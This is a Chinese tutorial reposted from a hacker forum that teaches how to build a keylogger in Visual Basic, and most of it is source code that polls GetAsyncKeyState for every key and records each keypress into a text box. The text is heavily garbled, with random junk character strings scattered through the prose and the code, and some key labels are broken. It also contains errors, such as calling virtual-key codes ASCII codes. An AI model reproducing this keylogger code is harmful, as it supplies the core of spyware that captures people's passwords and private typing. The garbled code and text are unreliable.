手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 版权归黑客基地所有， 转载请注明出处

前几天写了一篇键盘记录器，好多人反映看不懂， 对新人没什么用处，所以且这篇我会写的 很详细，再也不像那篇，出了代码什么也没 ^!^ 这个程序将会详细的讲解如何记载键盘的每一次输入。 . A6 v3 J/ O9 c1 U0 m" b下面介绍的这个程序主要是利用GetAsyncKeyState函数， , I: |. Q6 h& A. o使用GetAsyncKeyState可以获得键盘的动作。 GetAsyncKeyState函数根据虚拟键表判断按键的类型。 ( ]* n1 s# _: v返回值为一个16位的二进值数，如果被按下则最高位为1， 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： * ~4 h( v4 w& HPrivate Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 好了，函数就先介绍这么多，下面开始动手实战了 / G3 r- G0 @; |% y% a3 i5 a, D" Qfirst,当然是创建窗口了 0 e8 j8 v7 A' `2 T" P9 F ! v0 w% @) A5 K) w( f& f3 a 7 m: S6 r4 J( f在时间控件的Timer时间中定义检查按键类型，代码如下： Dim AddKey KeyResult = GetAsyncKeyState(13) '回车键 . s! D7 Q' E) A: p8 \: d If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound $ C# c& w! G6 c, Z+ H) L" a End If 0 g X, S, l3 Y' O& C- k7 Z. \ KeyResult = GetAsyncKeyState(17) 'Ctrl键 If KeyResult = -32767 Then 3 B# ]0 |. J% }7 O* S! h, @ AddKey = "[CTRL]" ) n- I; j$ G% J0 l# P8 b- ?0 }1 @$ M GoTo KeyFound 5 B- \+ l2 C5 `, F; i8 D End If 8 ^2 Z# X( [% w7 Z1 A- ]& [. W KeyResult = GetAsyncKeyState(8) '退格键 ; {+ G& M! I. L( S If KeyResult = -32767 Then ' b2 C& `- Y n2 s3 z6 ] AddKey = "[BKSPACE]" + b9 s1 ?% v9 _2 {8 R" e" s4 X2 T GoTo KeyFound 7 W' ^* a8 _/ t" j& r C! a+ T4 N End If KeyResult = GetAsyncKeyState(9) 8 l# E( y, Q- ], C4 r. {3 V( ^2 Y If KeyResult = -32767 Then 2 e1 e) n p9 ] AddKey = "[TAB]" GoTo KeyFound End If % \3 J* } }* `9 V8 |# x. X: i KeyResult = GetAsyncKeyState(18) If KeyResult = -32767 Then 3 ~ d9 T5 d2 D. f F8 U, e AddKey = "[ALT]" ( i; E4 i; y+ o7 T5 } GoTo KeyFound 2 A$ F% @# W; T/ S End If ( `/ F5 P, ^9 K0 U* I, v( M KeyResult = GetAsyncKeyState(19) ( C2 K# R, T2 b; ?; k3 i1 F If KeyResult = -32767 Then AddKey = "[PAUSE]" GoTo KeyFound 6 p; j7 J: P" H/ q# K+ P- r$ P3 } End If ! {! l, z, _: U( j1 P $ ~% |8 F% _4 h8 u/ i6 B KeyResult = GetAsyncKeyState(20) $ ~5 I# S m5 O. D4 q$ R% b, B If KeyResult = -32767 Then : \/ l0 X/ w7 h2 m AddKey = "[CAPS]" * { U& t% e. F8 z5 D9 H GoTo KeyFound ; Y# ]6 ]2 X) `7 p3 E. N End If KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]" GoTo KeyFound $ k+ v( Y6 V9 T: ^1 U) B End If & }* `& I% G! I. T KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then AddKey = "[PGUP]" + L5 |0 z2 m _% U' i% O GoTo KeyFound / h+ C+ A D) z End If 1 F8 U, I) d- v( u9 E! v. b KeyResult = GetAsyncKeyState(34) + m. Q% l& l- V" {- ?# V* z+ X If KeyResult = -32767 Then * t4 k, m" l. Y: l9 L AddKey = "[PGDN]" / S( A1 ?8 H6 c, g( W* {6 O GoTo KeyFound End If % G& m( F0 V* _6 |$ S( g8 ^ KeyResult = GetAsyncKeyState(35) ' a! U; J6 G0 F# L h& @8 T If KeyResult = -32767 Then 9 B9 n' Z% G q( x7 v7 Z AddKey = "[END]" GoTo KeyFound 1 b% E) q( J5 S: ` n3 n$ [$ \' Z0 ] End If , V! }$ D: I# W/ z, F1 Q: i' I KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then 7 f+ i5 H! H$ ]# m4 h5 W& V$ D4 G& n AddKey = "[HOME]" / M4 K4 o/ ?. p3 S3 s$ x8 g GoTo KeyFound End If # |# T" Z6 a4 b P6 s' B. o/ s) e KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then 6 c2 r* n3 ?( G3 X9 H7 s AddKey = "[SYSRQ]" 8 o! ~5 V( u' [: w/ B0 ^ GoTo KeyFound 9 {1 S' n4 l, u End If KeyResult = GetAsyncKeyState(45) 7 z7 R: a9 M" M: L- H3 C+ g0 X If KeyResult = -32767 Then AddKey = "[INS]" ; U! q7 a4 U: d! b GoTo KeyFound 9 q6 l8 i) Y7 D% x' N6 _2 L* J End If - j2 R0 u* T. }% X! {' ` KeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then AddKey = "[DEL]" 7 O6 L6 B8 K0 i. V; ~0 x% n GoTo KeyFound ; c0 ^3 \' X! s+ ]8 Y8 [0 k3 g+ b End If % B; |+ m- V& [* x KeyResult = GetAsyncKeyState(144) ' d7 n* `9 a- `- _ w9 @ T If KeyResult = -32767 Then AddKey = "[NUM]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(37) ' F1 Q3 |0 o: L+ \0 U If KeyResult = -32767 Then 1 ?* q J+ Q' p9 }% T AddKey = "

" : h+ t/ ^) k8 b) }% R, W GoTo KeyFound End If 8 n; l* e8 ?' a0 f- y KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then AddKey = "[UP]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(39) w% d5 c7 {/ T! E7 ~5 ] If KeyResult = -32767 Then $ h8 O+ r" c! S5 W# I6 U AddKey = "

" 9 E6 b! G+ Y8 g. y: F GoTo KeyFound End If - q; X+ R+ j, z2 b6 W; s0 D ) a1 T, r' y1 o8 D% o KeyResult = GetAsyncKeyState(40) 0 p% g% h' d: ]' O+ G If KeyResult = -32767 Then AddKey = "[DOWN]" GoTo KeyFound ! ?9 [" G% [0 f* \5 D1 x End If - v7 o7 a9 @) |6 E2 r 8 Q6 G3 S* D& CKeyResult = GetAsyncKeyState(112) $ E( J% w! m. z& ` If KeyResult = -32767 Then AddKey = "[F1]" GoTo KeyFound 9 W1 R) |; b6 _8 c5 g End If 2 T0 Y7 l5 `6 l+ l9 o- k: W/ `KeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then + ?- k% r2 p- m; `2 k AddKey = "[F2]" GoTo KeyFound 1 u( o' V9 B: b* t f End If * `( u/ ^2 D! {6 B, s2 J* l 2 L7 m* m# d" f" P3 LKeyResult = GetAsyncKeyState(114) ! `6 T3 c. r0 ] s/ C3 B& F* v8 ^ If KeyResult = -32767 Then AddKey = "[F3]" GoTo KeyFound End If / K8 A: Y P d) z6 v& s ) L' x0 Q$ l- r2 `! z+ g JKeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then 7 r" s! a/ H; [" Q AddKey = "[F4]" ( l7 }9 E, l# D, R' V. j, L GoTo KeyFound End If ) J2 c" d) D- d {2 I j# l7 g8 g: h2 TKeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then & v' [6 O. h4 M7 Z AddKey = "[F5]" * Z, e s3 v8 V3 f9 Z( A GoTo KeyFound ) S+ E" B, h/ |! d; z: h End If KeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then * _& u: P+ T8 u# P- N# r. @; a, r AddKey = "[F6]" GoTo KeyFound End If 4 L, E: f7 A# m( i% D& N ! A @, q: o( fKeyResult = GetAsyncKeyState(118) . j, @6 ?' m" `. m& s# h6 `# V0 c0 i If KeyResult = -32767 Then ; E' D9 n, N7 }2 v% ~) R$ s0 l AddKey = "[F7]" % C8 t$ L Z2 u GoTo KeyFound End If KeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then AddKey = "[F8]" GoTo KeyFound " Y3 f+ f: V3 x( S End If KeyResult = GetAsyncKeyState(120) % y! e1 P0 H& O. |0 L If KeyResult = -32767 Then 9 p! i' ]8 E7 ^3 d2 K* \ AddKey = "[F9]" GoTo KeyFound 1 k% p- X/ {2 E& X! h End If KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then % ?$ g- c% Y8 b# g AddKey = "[F10]" 4 o2 G- I2 \, ~4 C1 C# G3 L, | GoTo KeyFound 9 U- m, V& |8 k3 C m! ]7 j5 I End If + C8 D p4 S! f8 P9 s KeyResult = GetAsyncKeyState(122) ; K4 Y& h. y" ^& o0 t If KeyResult = -32767 Then AddKey = "[F11]" 6 A: R( S* q, ? GoTo KeyFound End If + \! Q/ O& R$ `7 g- A& v7 a Z- f* ~* d$ F- ]KeyResult = GetAsyncKeyState(123) s* Q$ @6 W" W7 T If KeyResult = -32767 Then AddKey = "[F12]" , n! P+ S0 {) ~% e' q5 ^5 M GoTo KeyFound End If ; D! q u0 i# I& s- [KeyResult = GetAsyncKeyState(124) , A, a" G" y: H9 {( k" T2 l& L If KeyResult = -32767 Then ) O1 v. {2 j8 W. r AddKey = "[F13]" GoTo KeyFound End If 6 Z. _# r& }. ]1 c# z$ i, ^ KeyResult = GetAsyncKeyState(125) 1 [$ x: m: \ C% J4 j4 }6 _ If KeyResult = -32767 Then . o, e: H4 S! Z" R' v, H AddKey = "[F14]" ! i& q# j0 p6 o$ B9 W GoTo KeyFound End If & A/ X5 o; C- n; G" o0 Q) q 3 l; i4 [4 |" ^0 v4 d, y' r, P$ oKeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then ! c& o, ]9 R8 B8 w( k L* F- {& p' L( N AddKey = "[F15]" GoTo KeyFound End If & b! E" O c0 u& L1 u" S* H $ Z' g6 w8 {5 K d& ]. tKeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then + Q2 _2 d) G; Y% T4 } AddKey = "[F16]" GoTo KeyFound - m: l( r8 |5 q* `8 h) C End If KeyResult = GetAsyncKeyState(32) + @7 P4 r( W0 F# ` If KeyResult = -32767 Then 4 ^5 _- }! l8 b+ t$ _ AddKey = " " GoTo KeyFound 9 I0 N: B- w* ?1 c* k& M9 |7 ` End If 0 X Q; I$ C% V& [6 d) ` KeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then AddKey = ";" GoTo KeyFound 2 |! t9 L/ Z' q) y End If 1 K" T0 K& U- q- i3 H3 a KeyResult = GetAsyncKeyState(187) $ Y) R5 T3 |' i. o" V9 y If KeyResult = -32767 Then ( x. N1 w: s) s AddKey = "=" GoTo KeyFound * B9 k: o) e8 p/ P) f End If ( [7 g- t' e3 z4 G7 P" B5 [KeyResult = GetAsyncKeyState(188) ! V! g& h# x% F+ [7 p& P. A If KeyResult = -32767 Then ( d7 N0 k7 E, E; v4 Q& l' b' e AddKey = "," GoTo KeyFound # f6 R( E$ I! t8 X# }. a" A End If 2 T# z8 ?; _: W: @' y4 U( C + d1 I* }1 E% X2 @KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then # `8 ^# ~# T6 }4 C' f: M* | AddKey = "-" GoTo KeyFound End If 2 q d" @! _" aKeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then . o2 \ @ ^* q. @; H AddKey = "." GoTo KeyFound End If % m+ A/ |4 n% I0 u5 n9 a" Z ; K0 j0 n, N! F8 U: BKeyResult = GetAsyncKeyState(191) ) S! m: B9 `0 M( J% O) O If KeyResult = -32767 Then + ?* F% A. ^8 b3 w AddKey = "/" '/ & E1 w* e7 v' Y& U& X GoTo KeyFound # v% P( Q" i- R7 r- F/ v End If # [: P5 v2 }3 T; ?$ b3 D% u: S , W/ g* o, u$ _# w2 @- g1 S# C2 ]6 DKeyResult = GetAsyncKeyState(192) " v1 X& x( ~' N; A+ Z If KeyResult = -32767 Then - [# r: T+ A9 @( M+ e AddKey = "`" '` GoTo KeyFound End If ' Z, ^$ ^% d" L& V6 B '----------NUM PAD ) x. b/ Z) y% G, i4 W/ VKeyResult = GetAsyncKeyState(96) If KeyResult = -32767 Then " f8 E4 g; J; a- F) a AddKey = "0" GoTo KeyFound End If / S5 ~* K7 X' z1 o/ p( R& \% y KeyResult = GetAsyncKeyState(97) 5 |, b2 b& `! w; W B# `6 G' Y8 @ If KeyResult = -32767 Then 0 F9 Q) `+ i. e7 z AddKey = "1" ' z2 l: v! z; W GoTo KeyFound End If 2 T% ?' j( w+ L ; p" x9 f8 ]1 ^. F4 F KeyResult = GetAsyncKeyState(98) - n. c% I. E+ Z5 Q, @% s6 X3 _ If KeyResult = -32767 Then % W+ ]% K5 D6 {4 z1 ]$ q6 o AddKey = "2" GoTo KeyFound End If 0 J3 d; ?/ Y; f! a5 x6 Z) z* H' | ; d) f$ b/ k% ?1 G) ?1 e) hKeyResult = GetAsyncKeyState(99) 6 D2 q2 {" D$ b" N If KeyResult = -32767 Then & j7 D" t9 d1 w4 ?. \ AddKey = "3" ; v& d" P! u# A8 B! b' S9 j' _ GoTo KeyFound 1 {, n% ?5 t" [ End If - u$ @# }. {4 ]5 J3 b/ A2 S, W " ~1 d0 O) s9 H# G' o KeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then AddKey = "4" GoTo KeyFound End If 0 f+ u3 a" A1 ` : u0 V. T! w. ZKeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then AddKey = "5" GoTo KeyFound End If # {$ @2 J; L8 G& v KeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then AddKey = "6" GoTo KeyFound & }' K) c5 C) n End If * R) |$ X( q; v9 G& Y& E, N% YKeyResult = GetAsyncKeyState(103) . _* U$ @; C% V7 n5 @2 ^6 F If KeyResult = -32767 Then AddKey = "7" GoTo KeyFound End If & b& q5 ~! s% l) D$ z7 p {4 ~* @ \8 ?( ^! e% J; i+ _" L KeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then AddKey = "8" GoTo KeyFound . j9 y8 d6 Y- z; o! i End If KeyResult = GetAsyncKeyState(105) ) N/ [1 ^" p- e If KeyResult = -32767 Then 7 m% o6 m5 f2 e$ X1 x3 ?. S AddKey = "9" GoTo KeyFound End If : u( N( j4 `1 w% c . \+ d2 o+ I4 @: f U% g KeyResult = GetAsyncKeyState(106) If KeyResult = -32767 Then AddKey = "*" ( I5 ]- _& i5 W8 q+ _8 `4 l" z/ i1 ] GoTo KeyFound End If , `4 w0 I: {8 q/ ], KKeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then AddKey = "+" GoTo KeyFound " e2 U' f$ ~% i& `' M End If , F8 n z% o k4 T" f" ZKeyResult = GetAsyncKeyState(108) 7 j$ A9 l/ b3 `/ L- F6 w If KeyResult = -32767 Then , [4 @/ K- O% i, s" e1 H: g AddKey = "[ENTER]" 7 W/ k9 U u( y: C. N& } GoTo KeyFound ! T6 Y9 U5 L2 }& w End If 3 p; v: X( ?: C- k5 Q/ u KeyResult = GetAsyncKeyState(109) ) M$ j+ e! E; m9 X: d4 T/ o; Z6 c If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound " D. F/ f& h2 }9 k; K End If KeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then ! ~' u6 ]: x1 ?# L0 `+ d AddKey = "." 4 c1 ^' M( l$ H, [ GoTo KeyFound End If 2 Z5 f% p3 B6 } c4 L. e) S0 o- ` KeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then AddKey = "/" GoTo KeyFound 5 m% }- u3 y+ R& F End If D( A9 Q* O* w) }* k- S' q " ?- ~* Y! z) y, C8 hKeyResult = GetAsyncKeyState(220) If KeyResult = -32767 Then 5 B( F& L( Z: P) N7 D0 q AddKey = "\" $ Q4 c* i/ ~8 D d5 h GoTo KeyFound ! ~1 v/ r0 i3 R; d) n7 `2 e- G" B End If 6 P, a9 E8 @4 w KeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then AddKey = "'" : [ w/ C8 U/ K2 y# p1 t GoTo KeyFound 1 U5 t' S& b+ C# ` ~+ I- e End If KeyResult = GetAsyncKeyState(221) & S8 b1 i. S0 l6 ~ If KeyResult = -32767 Then , C/ T. q9 f+ q AddKey = "]" ( |6 f0 T! i4 X' P' m1 c GoTo KeyFound & R4 G) s/ S# n# \" n$ w End If ! I* H& f8 U( G5 I* I+ ~# xKeyResult = GetAsyncKeyState(219) + f2 O! X- z# B% p# g9 u If KeyResult = -32767 Then AddKey = "[" GoTo KeyFound End If " k: Z2 {* p0 B KeyResult = GetAsyncKeyState(16) 'shift键 If KeyResult = -32767 And TimeOut = 0 Then 2 v4 d$ j: a$ d$ P AddKey = "[SHIFT]" LastKey = AddKey / L' d8 j9 y# {7 l6 _4 W9 i) x5 A TimeOut = 1 % X8 u6 e! ^" o6 d1 \ GoTo KeyFound 1 j0 M3 p* t& Q. {6 P0 A: ]8 x End If KeyLoop = 41 ; V2 l5 X! k3 g& g7 ?" J9 I 1 N& Z8 z9 {8 x! ] Do Until KeyLoop = 256 ' 显示其他键 & }/ @+ ]. h9 j0 a: q KeyResult = GetAsyncKeyState(KeyLoop) " s( e8 w6 R0 @% u. Y2 o/ F0 r1 O If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) ] v% E" h! | KeyLoop = KeyLoop + 1 Loop LastKey = AddKey Exit Sub : H- p: V. d! uKeyFound: '显示键的信息 Text1 = Text1 & AddKey % E, o {" O/ ~* K v4 C" uEnd Sub 上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 由于数目太多，一一列举不方便 3 L, R2 g1 z' Q& R1 ?现提供Ascii表一份供对照 ; D# I; u5 N- U: P9 Bhttp://www.cstudy.cn/repository/ascii/default.htm 下面是其他的事件 Private Sub Timer2_Timer() & O0 ?1 c5 j7 k1 {: S" T6 B, }TimeOut = 0 End Sub 目的是随时刷新清空 1 B! M6 M3 j; \